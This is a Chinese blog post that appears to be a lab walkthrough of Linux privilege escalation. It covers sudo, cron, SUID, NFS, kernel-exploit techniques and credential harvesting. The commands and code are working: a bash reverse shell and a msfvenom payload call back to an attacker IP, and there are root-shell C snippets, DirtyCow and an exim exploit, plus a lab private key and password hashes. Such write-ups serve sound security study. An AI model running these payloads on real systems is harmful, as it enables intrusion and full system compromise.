前言
这里通过简单靶场举例说明,了解提权的基础姿势。
提权检测脚本
在拿到普通用户shell后,可以手动输入命令2来查询系统信息、用户信息、正在运行的服务、第三方软件等等可能用来提权的点。同时,也可以利用现成的收集脚本来进行收集,这里介绍linpeas脚本,链接如下:https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS。阅读官方文档,此脚本可以收集到系统信息、驱动器、已安装软件、进程信息、定时作业、服务等等信息。还有其他一些脚本,原理大同小异,这里不做介绍了。
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
sudo提权
命令提权
默认情况下,sudo命令允许用户以root权限执行命令/运行程序,某些情况下,系统管理员会允许普通用户提供一些灵活的权限,例如,普通用户需要使用nmap,而又不想让普通用户得到完全的root权限,此时,root用户可以允许普通用户仅以root权限运行这个程序,在其他应用程序维持原来的权限级别。
任何用户都可以使用sudo -l
命令查看当前与root权限相关的情况。
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
在此例中,有11个命令允许以root权限执行,因此我们可以尝试使用此命令的某些功能来获得特权 shell。可以通过查阅此网站来查询各种命令提权的使用方法https://gtfobins.github.io/。例如,这里我们使用find命令来进行sudo提权。
user@debian:~$ sudo find . -exec /bin/sh \; -quit
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
环境变量
如果您在 sudo -l
的输出中发现以下句子:env_keep+=LD_PRELOAD 并且您可以使用 sudo 调用一些命令,则可以提升权限。如下:
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
LD_PRELOAD 和 LD_LIBRARY_PATH 都继承自用户环境。LD_PRELOAD 在程序运行时先加载一个共享对象。 LD_LIBRARY_PATH 提供首先搜索共享库的目录列表。也就是说,如果攻击者控制 LD_LIBRARY_PATH env 变量,则可能会滥用类似的权限,因为他控制着要搜索库的路径。通过改变环境变量,使得程序运行时执行我们的恶意文件。
另存为/tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
然后编译它使用:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
最后运行提权
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
例如:
user@debian:~$ vim /tmp/pe.c
user@debian:~$ cd /tmp
user@debian:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
user@debian:/tmp$ sudo LD_PRELOAD=./pe.so apache2
root@debian:/tmp#
注意最后一行已经变成了root权限shell
Cron作业
Cron作业用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而非当前用户的权限运行。
文件权限
如果有一个以 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行。
Cron 表文件 (crontabs) 存储 cron 作业的配置。crontab 位于 /etc/crontab。查看此文件:
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
可以看到有两个计划运行的作业,一个为overwrite.sh,另一个为/usr/local/bin/compress.sh。
找到overwrite.sh文件所在位置,并查看此文件权限
user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 1016.0 days)
/usr/local/bin/overwrite.sh
user@debian:~$ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh
可以看到,文件位于/usr/local/bin/overwrite.sh,并且全局可写,那么我们就可以将此文件内容更改。
将文件内容改为反弹shell的命令
!/bin/bash
bash -i >& /dev/tcp/10.18.47.107/4444 0>&1
本机开启监听,等待cron作业执行
┌──(n3ym4r㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.18.47.107] from (UNKNOWN) [10.10.80.4] 38638
bash: no job control in this shell
root@debian:~#
得到root权限
PATH 环境变量
在/etc/crontab文件可以看到,PATH为PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
,我们可以在/home/user目录下新建一个overwrite.sh脚本如下:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
然后,确保此脚本有执行权限:chmod +x /home/user/overwrite.sh
等待系统执行作业,使用 -p 运行 /tmp/rootbash 命令以获得以 root 权限运行的 shell
user@debian:~$ /tmp/rootbash -p
rootbash-4.1# whoami
root
通配符
查看另一个作业文件
sh-4.1$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
sh-4.1$
可以看到脚本命令为切换到/home/user目录下,然后把目录里的所有文件都压缩,生成一个压缩包,命名为backup.tar.gz。
通过查阅https://gtfobins.github.io/gtfobins/tar/,得到`tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/sh`使用此命令可拿到shell。
那么可以在目录下新建两个文件
首先在本地使用msf生成shell.elf
┌──(n3ym4r㉿kali)-[~]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.18.47.107 LPORT=9999 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf
然后,在本地开一个server
┌──(n3ym4r㉿kali)-[~]shell
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [25/Feb/2023 19:21:08] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [25/Feb/2023 19:21:09] code 404, message File not found
127.0.0.1 - - [25/Feb/2023 19:21:09] "GET /favicon.ico HTTP/1.1" 404 -
10.10.80.4 - - [25/Feb/2023 19:22:41] "GET /shell.elf HTTP/1.0" 200 -
在主机下载
user@debian:~$ wget http://10.18.47.107/shell.elf
--2023-02-25 06:22:40-- http://10.18.47.107/shell.elf
Connecting to 10.18.47.107:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: “shell.elf”
100%[============================================================================>] 194 --.-K/s in 0s
2023-02-25 06:22:41 (60.0 MB/s) - “shell.elf” saved [194/194]
赋予执行权限
user@debian:~$ chmod +x /home/user/shell.elf
在home/user下,新建两个文件
user@debian:~$ touch /home/user/--checkpoint=1
user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf
之后,等待作业执行,得到反弹shell
这里,简单解释一下,作业会执行tar命令,我们在目录下新建两个文件,将命名改为tar可执行的命令,也就是说会把这两个文件的名称当做命令来执行,而不是作为文件。
SUID
suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。
使用find / -perm -4000 2>/dev/null
即可获得所有suid可执行文件
user@debian:~$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/local/bin/suid-so
/usr/local/bin/suid-env
/usr/local/bin/suid-env2
/usr/sbin/exim-4.84-3
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/bin/ping6
/bin/ping
/bin/mount
/bin/su
/bin/umount
/tmp/rootbash
/sbin/mount.nfs
user@debian:~$
已知漏洞
在上面的查询中可以看到/usr/sbin/exim-4.84-3
,在Google,GitHub,exploit-db查询此版本有无漏洞。查询得到存在 CVE-2016-1531漏洞,利用现成exp进行漏洞利用。
user@debian:~$ /home/user/tools/suid/exim/cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# id
uid=0(root) gid=1000(user) groups=0(root)
共享对象注入
/usr/local/bin/suid-so
SUID 可执行文件容易受到共享对象注入的攻击。
user@debian:~$ /usr/local/bin/suid-so //执行此文件,会出现进度条
Calculating something, please wait...
[=====================================================================>] 99 %
Done.
user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" //在文件上运行 strace 并在输出中搜索打开/访问调用和“没有这样的文件”错误
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) //最后一行,可执行文件试图在我们的主目录中加载 /home/user/.config/libcalc.so 共享对象,但找不到。
user@debian:~$ mkdir /home/user/.config //为 libcalc.so 文件创建 .config 目录
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c //将/home/user/tools/suid/libcalc.c编译到 suid-so 可执行文件查找它的位置的共享对象中
user@debian:~$ /usr/local/bin/suid-so //再次执行 suid-so 可执行文件,注意这次我们得到的不是进度条,而是 root shell
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1#
libcalc.c:
bash-4.1# cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
环境变量
/usr/local/bin/suid-env
可执行文件可以被利用,因为它继承了用户的 PATH 环境变量并尝试在不指定绝对路径的情况下执行程序。
user@debian:~$ /usr/local/bin/suid-env //执行文件,发现正在尝试启动Apache2服务
[....] Starting web server: apache2httpd (pid 1625) already running
. ok
user@debian:~$ strings /usr/local/bin/suid-env //在文件上运行字符串以查找可打印字符的字符串:
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start //这一行表明正在调用服务可执行文件以启动网络服务器,但是未使用可执行文件的完整路径(/usr/sbin/service)。
user@debian:~$ gcc -o service /home/user/tools/suid/service.c //编译准备好的service文件
user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env //将当前目录(或新服务可执行文件所在的位置)添加到 PATH 变量,并运行 suid-envexecutable
root@debian:~# id //得到root权限
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
service.c:
root@debian:~# cat /home/user/tools/suid/service.c
int main() {
setuid(0);
system("/bin/bash -p");
}
滥用shell
bash<4.2-048
在 Bash 版本 <4.2-048 中,可以使用类似于文件路径的名称定义 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径中的任何实际可执行文件。
user@debian:~$ /bin/bash --version //获取bash版本
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
user@debian:~$ function /usr/sbin/service { /bin/bash -p; }
//创建一个名为“/usr/sbin/service”的 Bash 函数,它执行一个新的 Bash shell(使用 -p 以保留权限)并导出该函数
user@debian:~$ export -f /usr/sbin/service
user@debian:~$ /usr/local/bin/suid-env2 //运行得到root shell
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:~#
bash<4.4
在调试模式下,Bash 使用环境变量 PS4 来显示调试语句的额外提示。
user@debian:~$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
//在启用 bash 调试的情况下运行 /usr/local/bin/suid-env2 可执行文件,并将 PS4 变量设置为创建 SUID 版本 /bin/bash 的嵌入式命令
/usr/sbin/service apache2 start
basename /usr/sbin/service
VERSION='service ver. 0.91-ubuntu1'
basename /usr/sbin/service
USAGE='Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]'
SERVICE=
ACTION=
SERVICEDIR=/etc/init.d
OPTIONS=
'[' 2 -eq 0 ']'
cd /
'[' 2 -gt 0 ']'
case "${1}" in
'[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']'
'[' 2 -eq 2 -a start = --full-restart ']'
'[' -z '' ']'
SERVICE=apache2
shift
'[' 1 -gt 0 ']'
case "${1}" in
'[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'
'[' 1 -eq 2 -a '' = --full-restart ']'
'[' -z apache2 ']'
'[' -z '' ']'
ACTION=start
shift
'[' 0 -gt 0 ']'
'[' -r /etc/init/apache2.conf ']'
'[' -x /etc/init.d/apache2 ']'
exec env -i LANG= PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb /etc/init.d/apache2 start
Starting web server: apache2httpd (pid 1625) already running
.
user@debian:~$
user@debian:~$ /tmp/rootbash -p //使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
密码、秘钥
历史文件
如果用户不小心在命令行而不是在密码提示中输入密码,则可能会记录在历史文件中。
cat ~/.*history //查看user home下所有隐藏历史文件的内容
user@debian:~$ cat ~/.*history
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123 //暴露出mysql密码
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
配置文件
配置文件通常包含明文或其他可逆格式的密码。
user@debian:~$ ls /home/user
myvpn.ovpn service tools
user@debian:~$
user@debian:~$ cat /home/user/myvpn.ovpn //注意 myvpn.ovpn 配置文件的存在。查看文件内容
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt //该文件应包含另一个文件的引用
comp-lzo
verb 1
reneg-sec 0
user@debian:~$ cat /etc/openvpn/auth.txt //查看该文件
root
password123
user@debian:~$ su root //凭借密码登录到root
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
SSH秘钥
有时用户会备份重要文件,但无法使用正确的权限来保护它们。
user@debian:~$ ls -la / //在系统根目录中查找隐藏的文件和目录
total 96
drwxr-xr-x 22 root root 4096 Aug 25 2019 .
drwxr-xr-x 22 root root 4096 Aug 25 2019 ..
drwxr-xr-x 2 root root 4096 Aug 25 2019 bin
drwxr-xr-x 3 root root 4096 May 12 2017 boot
drwxr-xr-x 12 root root 2820 Feb 25 08:27 dev
drwxr-xr-x 67 root root 4096 Feb 25 09:19 etc
drwxr-xr-x 3 root root 4096 May 15 2017 home
lrwxrwxrwx 1 root root 30 May 12 2017 initrd.img -> boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14 2017 lib
lrwxrwxrwx 1 root root 4 May 12 2017 lib64 -> /lib
drwx------ 2 root root 16384 May 12 2017 lost+found
drwxr-xr-x 3 root root 4096 May 12 2017 media
drwxr-xr-x 2 root root 4096 Jun 11 2014 mnt
drwxr-xr-x 2 root root 4096 May 12 2017 opt
dr-xr-xr-x 96 root root 0 Feb 25 08:25 proc
drwx------ 5 root root 4096 May 15 2020 root
drwxr-xr-x 2 root root 4096 May 13 2017 sbin
drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux
drwxr-xr-x 2 root root 4096 May 12 2017 srv
drwxr-xr-x 2 root root 4096 Aug 25 2019 .ssh
drwxr-xr-x 13 root root 0 Feb 25 08:25 sys
drwxrwxrwt 2 root root 4096 Feb 25 09:25 tmp
drwxr-xr-x 11 root root 4096 May 13 2017 usr
drwxr-xr-x 14 root root 4096 May 13 2017 var
lrwxrwxrwx 1 root root 27 May 12 2017 vmlinuz -> boot/vmlinuz-2.6.32-5-amd64
user@debian:~$ ls -l /.ssh //查看.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25 2019 root_key
user@debian:~$ cat /.ssh/root_key //进一步查看,确定为ssh登录私钥
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----
将私钥复制,放入本地主机,利用私钥登录ssh root账户
┌──(n3ym4r㉿kali)-[~]
└─$ ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.183.54
//这里因为靶机太老,需要做些额外的设置
弱文件
可读/etc/shadow
/etc/shadow 文件包含用户的密码哈希值,通常只有 root 用户可读,如果普通用户也能对etc/shadow 文件进行读取,那么我们就能利用可读的/etc/shadow提权。
user@debian:~$ ls -l /etc/shadow //查看权限
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
user@debian:~$
在每行的第二个参数就是保存的密码hash(如果有的话)
得到hash后,使用本地kali的john进行密码枚举,得到明文密码
可写/etc/shadow
user@debian:~$ mkpasswd -m sha-512 1234 //生成1234的hash值
$6$BWe0nZwWFr$Ek7Oxb/HmddxaOLZKAqi0PB9b/uJ3aDF/4SlmUQ07uT/HXT2yfyP7mtOZsJzgLR/jttTD/Fwv18sOzrKE2z6K1
然后,编辑/etc/shadow文件,将生成的hash替换root的密码。之后,使用root登录即可。
可写/etc/passwd
/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希值,某些版本的 Linux 仍然允许将密码哈希值存储在那里。
和前面etc/shadow一个道理,生成hash进入文件替换,登录即可。
NFS
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。
通过 NFS 创建的文件继承远程用户的 ID。如果用户是 root,并且启用了 root_sqaush 压缩,则 ID 将改为设置为“nobody”用户。如果没有启用,则具有root访问权限。
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。
也就是说,利用此漏洞,必须为no_root_squash
user@debian:~$ cat /etc/exports //查看nfs共享设置
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) ///tmp目录是可共享的,远程用户可以挂载它,并且/tmp目录共享还禁用了root_squash选项(启用no_root_squash选项-----即代表禁用了root_squash)
#/tmp *(rw,sync,insecure,no_subtree_check)
此时回到我们的本地kali
┌──(n3ym4r㉿kali)-[~]
└─$ su root //切换到root
密码:
┌──(root㉿kali)-[/home/n3ym4r]
└─# mkdir /tmp/nfs //创建目录
┌──(root㉿kali)-[/home/n3ym4r]
└─# mount -o rw,vers=3 10.10.183.54:/tmp /tmp/nfs //创建一个挂载点并挂载目标机的/tmp 共享目录
┌──(root㉿kali)-[/home/n3ym4r]
└─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
//msf生成一个payload并将其保存到刚才挂载的共享目录(这个payload的作用是调用/bin/bash)
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 132 bytes
Saved as: /tmp/nfs/shell.elf
┌──(root㉿kali)-[/home/n3ym4r]
└─# chmod +xs /tmp/nfs/shell.elf //使payload文件可执行并设置 SUID 权限
切到目标机普通用户,执行payload文件
user@debian:~$ /tmp/shell.elf
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
得到root
内核漏洞
运行 Linux Exploit Suggester 2 工具来识别当前系统上潜在的内核漏洞
user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 2.6.32
Searching 72 exploits...
Possible Exploits
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[5] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[6] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[8] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[9] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[10] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023
[11] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[12] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285
[13] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[14] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
查看输出第三条著名漏洞——脏牛
利用exp
执行exp会将SUID文件/usr/bin/passwd
替换为 生成shell的文件(从外在看不出变化)
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w //编译exp
user@debian:~$ ./c0w //执行
(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 733f000
madvise 0
ptrace 0
user@debian:~$ /usr/bin/passwd //执行替换后的usr/bin/passwd
root@debian:/home/user#
root@debian:/home/user# id //得到root
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
这里存在的其他漏洞就不做演示了,使用exp利用即可。
总结
提权的方法很多,要视实际情况而定,这里介绍到的是最基础的提权方式。
一般流程为:
1.通过各种命令进行简单信息收集
2.利用检测脚本批量快速收集可能利用的提权点
检测出漏洞直接利用
3.查看各种服务、配置文件、历史文件看有没有暴露的密码
4.sudo/suid/cron提权
5.查看各种服务、第三方应用的版本,看有无漏洞利用点,如MySQL的udf提权等
7.内核exp
参考链接:
https://tryhackme.com/room/linuxprivesc#
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/README.md
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
- 本文标题:linux提权
- 本文作者:n3ym4r
- 创建时间:2023-02-25 23:56:14
- 本文链接:https://n3ym4r.github.io/2023/02/25/linux提权/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!